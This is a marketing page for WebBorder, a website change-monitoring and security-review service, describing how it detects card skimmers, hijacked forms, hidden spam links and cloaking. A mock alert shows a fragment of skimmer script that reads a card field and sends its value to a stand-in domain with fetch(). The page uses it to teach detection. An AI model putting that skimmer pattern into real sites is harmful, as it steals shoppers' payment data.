changed text
A paragraph you didn't write
A new account number on the checkout page, a fake notice, a different phone number. We show you the line that went in and the line that went out.
Change monitoring for your website
If someone touches your website, you'll know before your customers do.
WebBorder browses your website like a visitor, and also the way Google sees it, and alerts you when something changes that you didn't change: a text, a link, a form, a script. You see it in red and green and decide in ten seconds.
No card, and nothing to install on your website. Your first website, free. Opening in a few days.
- Your website, watched
- Someone changes it
- WebBorder sees it
- You're alerted right away
Free analysis
What does an attacker see on your website?
Type your domain and in a few seconds we'll tell you what anyone can see from the outside: whether your HTTPS is right, whether your email can be spoofed, whether you're on a blocklist and whether your site runs software with known flaws. Without touching anything: we only look at what a browser sees.
What changes when someone gets in without permission
Hardly anyone puts a “hacked by” on the home page any more. What they do is discreet, which is why nobody notices until a customer complains.
script from a new domain
A skimmer at checkout
Code that copies your customers' cards while they shop. If your website starts loading something from a place it has never used, you'll know.
form that sends elsewhere
The data, to another address
Your contact or payment form looks the same from the outside, but sends what your customers type to another server.
hidden links
Casino spam you can't see
Links hidden from visitors but visible to Google. They sink your rankings and you see nothing odd on your website.
only Google sees it
One website for you, another for Google
We look at every page as a desktop browser, as a phone, as Googlebot and as someone arriving from Google. If they don't match, something is going on.
link to a domain that doesn't exist
A door anyone can open
A link with a typo pointing to an unregistered domain: the day someone buys it, your visitors end up on their website.
What you don't see
The spam only your visitors see
Some attacks hide from you. If you type your address in, everything works. But someone who arrives from Google and clicks a link ends up in a casino, and you don't find out until Google flags your website as dangerous.
- We look at you the way everyone else does. Every check browses your website as a browser, as a phone, as Googlebot and as someone arriving from Google.
- If they don't match, it fires. A redirect to a domain your website had never used is a critical alert.
- You know where, and for whom. Which link, where it leads and who it's shown to.
- Arrives from Google
- Clicks and lands in a casino
- WebBorder sees it
- You're alerted right away
Three steps, then forget about it
- 1
Add your website
Type the address and prove it's yours with a DNS record or a file. Nothing to install on the server.
- 2
It learns what it's like
The first checks only look. That way it learns what changes on its own, like dates, counters or rotating blocks, and doesn't alert you about those.
- 3
It alerts you to what matters
By email and in your dashboard. If the change is yours, you approve it and the alert stops. If not, you know what to fix and since when.
One alert, not twelve
When you add a new product, your website changes in several places at once: the home page, its category, the “new in” page. WebBorder recognises it as a single change and tells you once, with what went in and what went out.
- Grouped. A change on four pages is one alert, not twelve.
- Serious things first, and separate. A script or a form sending to another domain is never mixed in with your news.
- One click if it was you. Approve it and it becomes the new normal.
- Everything in the history. What changed, when, and who approved it.
Loads a script from a domain the website had never used
/checkout/
cdn-web-statistics.example/a.js
New content on 4 pages: “Oiled leather ankle boots”
//shop//category/boots//new-in/
+ Oiled leather ankle boots, hand-stitched · €89
− Classic loafer · sold out
7 changes grouped: the text, 2 links and 2 imagesI changed it · approve
What changed and what it does
It doesn't just alert you: it tells you what it does and how to remove it
“A script has changed” is not much use if you can't read code. WebBorder shows you the exact lines that came in and went out, explains in plain words what the new code does, and tells you how to put it back as it was.
- The exact lines. What came in in green, what went out in red, on any page or script, against the last good version.
- What it does, in plain words. Whether it reads card or password fields, sends data to another site, is obfuscated, or adds iframes or hidden links. Or “no risk signals” if it's a normal update.
- How to remove it. The exact fragment to delete and where it usually lives; on WordPress, the commands to find it.
- Put it back as it was. On paid plans, download the good version of the file and check with its fingerprint that it's identical.
An inline script on the page mentions a domain the site had never used
⚠ It reads payment fields and sends data to a domain the code didn't use (cdn-analytics-payments.com). That is exactly what a skimmer does.
<form action="/pay"><input name="card"></form>
+ <script>…addEventListener("change", … fetch("https://cdn-analytics-payments.com/c", {body: this.value})…</script>
</body>
How to remove it: delete this fragment from the checkout template, change the passwords and tell your payment provider.
Escudo · security add-on
Keep them out, not just know they got in
Monitoring alerts you when someone touches your site. Escudo helps stop it from happening: it reviews your site from outside, the way an attacker would before attacking, and tells you what to close and how.
- Known vulnerabilities, every day. We check your WordPress, plugins and theme against published vulnerabilities and alert you as soon as one affecting you comes out.
- What shouldn't be visible. Configuration files, backups, error logs or the user list, exposed without you knowing.
- Headers and HTTPS. HSTS, protection against being framed by another site, old TLS, unprotected cookies.
- Your domain's email. SPF and DMARC, so nobody can send emails pretending to be you.
Add-on for Starter and Professional. We only look: we don't try passwords or attempt to exploit anything.
C
3 things to improve
High Contact Form 7 5.7.2 has known vulnerabilities
Update it to the fixed version from “Plugins”. Each flaw links to its public record.
Medium Anyone can see the WordPress usernames
Medium harbourshoes.co.uk has no DMARC
If you're attacked
Evidence you can hand over
When WebBorder detects a change, it keeps a copy of what your website was serving at that moment. From that you get a signed, timestamped report, ready for your insurer, the police or a forensic expert.
- Evidence of every change. The page or script exactly as your website served it, with the IP that answered, its certificate and the exact time.
- Signed and timestamped. WebBorder signs it, and an external authority certifies the time (RFC 3161). If anyone touches a single byte, it shows.
- A history that can't be doctored. Every entry carries the fingerprint of the previous one: none can be deleted or changed without it showing.
- Anyone can check it. With OpenSSL or at webborder.es/en/verify, without handing us the document.
Evidence and the PDF report come with the Starter and Professional plans.
WEBBORDER
Change report
harbourshoes.com · 01/10 – 31/10/2026
3changes2evidence1outage99.9%uptime
12/10 03:14:07 UTC · CRITICAL · /checkout/New script from cdn-web-statistics.example
12/10 03:14:09 UTC · EVIDENCE SAVED
sha256 9c41e0…b27a11/10 18:40:22 UTC · APPROVED · /new-in/Oiled leather ankle boots
Signed by WebBorderTimestamp · 12/10/2026 03:14:10 UTC
webborder-report.zip
- report.pdf
- report.pdf.sig
- report.pdf.tsr
- history.jsonl
- evidence/
- README.txt
Your dashboard
All your websites, at a glance
Each website with its status and a radar that tells you when we're checking it. If one turns red, you see it straight away. And if you run your clients' websites, you find out before they do.
southsmiledental.com
OKno changes
checked 12 min ago
millerhardware.com
Alertscript from a new domain
checking now…
dunes-hotel.com
Review2 minor changes
checked 31 min ago
Pricing
For now WebBorder is free. Paid plans are coming soon; you'll never be charged anything you haven't agreed to.Free VERY SOON
€0
- 1 website
- One check a day
- Downtime alerts (every 5 min)
- Alert before the certificate expires
- Email alerts
Starter COMING SOON
Coming soon
- Up to 3 websites
- One check every hour
- Downtime alerts (every minute)
- Alert before the certificate expires
- Alert if your site becomes slow
- Email alerts
- Strict mode: any change
- Signed evidence of every change
- Signed PDF reports, to present as evidence
- Good version of each file to put it back as it was
- Performance analysis: what to improve and how (10 a day)
Professional COMING SOON
Coming soon
- Up to 50 websites
- Everything in Starter
- 30 performance analyses a day
- Reports with your branding, including the performance analysis
- Several users in your team
Escudo add-on for Starter and Professional: a weekly security review and known vulnerabilities every day. What's included · Price coming soon.
Security advisories
The latest things to update
Serious vulnerabilities in WordPress and its plugins, PrestaShop, Joomla and Drupal, explained plainly: who is affected and what to do. See all advisories · RSS
Questions
Do I have to install anything on my website?
No. WebBorder looks at your website from the outside, like any visitor. It works the same for WordPress, an online shop or a hand-made website.
What about when I change something?
You get the alert, click “I changed it · approve” and it becomes the new normal. If your website changes every day, like a blog, turn on “Only serious things by email” in its settings: we only email you about what usually indicates an attack, and text changes stay in your dashboard.
What if my website goes down?
We alert you about that too. We check it every minute (every five on the free plan); if it doesn't respond twice in a row, and after confirming the problem isn't on our side, you get an alert. And another when it's back, with how long it lasted. We also warn you before your HTTPS certificate expires.
What is Escudo and how is it different from monitoring?
Monitoring alerts you that someone has touched your site. Escudo helps keep them out: every week it reviews what an attacker would look at first (plugins with known flaws, exposed files, headers, HTTPS, your domain's email) and tells you what to fix and how. It's an add-on for Starter and Professional; vulnerability data comes from Wordfence Intelligence.
Does it tell me how to fix it?
Yes. Every alert explains what it means, when it's normal and what to do if it wasn't you. You can also see the exact lines that changed and what the new code does, with the fragment to delete. On paid plans, you can also download the good version of a file to put it back as it was.
Does it count as evidence if I'm attacked?
It's electronic evidence produced by an independent third party, signed and timestamped by an external authority, and anyone can check it hasn't been tampered with. Its weight in court is for the judge to decide; for litigation, it's usual for a forensic expert or a notary to take it on. For an insurance claim or a police report, it's usually enough. Evidence is kept on the Starter and Professional plans.
Why do I have to prove the website is mine?
So nobody can use WebBorder to watch other people's websites. Adding a DNS record or uploading a file is enough, just like in Google Search Console.
When can I start?
We're finishing setting up the service and opening in a few days, starting with the free plan. Sign up and we'll write to you the day you can create your account. Starter and Professional will come later.
Is it only in English and Spanish?
For now, yes: the website, the dashboard, the alerts and the reports. The legal texts are translations; the Spanish version is the one that applies.